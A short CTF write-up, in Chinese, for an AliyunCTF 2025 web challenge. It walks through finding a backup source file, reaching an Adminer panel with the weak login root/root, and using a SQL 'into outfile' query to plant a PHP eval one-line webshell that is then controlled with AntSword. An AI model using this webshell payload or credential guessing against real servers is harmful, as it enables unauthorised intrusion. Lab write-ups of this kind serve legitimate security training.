AliyunCTF2025-Web-打卡OK

打卡ok

题目描述：没写好的系统怎么会打卡ok呢\~

进入靶机，提示登录。进入登陆界面

dirsearch扫描发现/index.php~可以查看源码

打开index.php~，然后下翻发现

这里background逻辑会到cachefile然后访问一个ok.php~，我们尝试访问

发现adminer，我们进入

尝试弱口令root/root

成功登陆，查看是mysql，直接考虑sql写马,写入一句话木马进入/var/www/html/cmd.php

select '<?php eval($_POST["cmd"]);?>' into outfile "/var/www/html/cmd.php";

然后蚁剑连接cmd.php的webshell，然后得到flag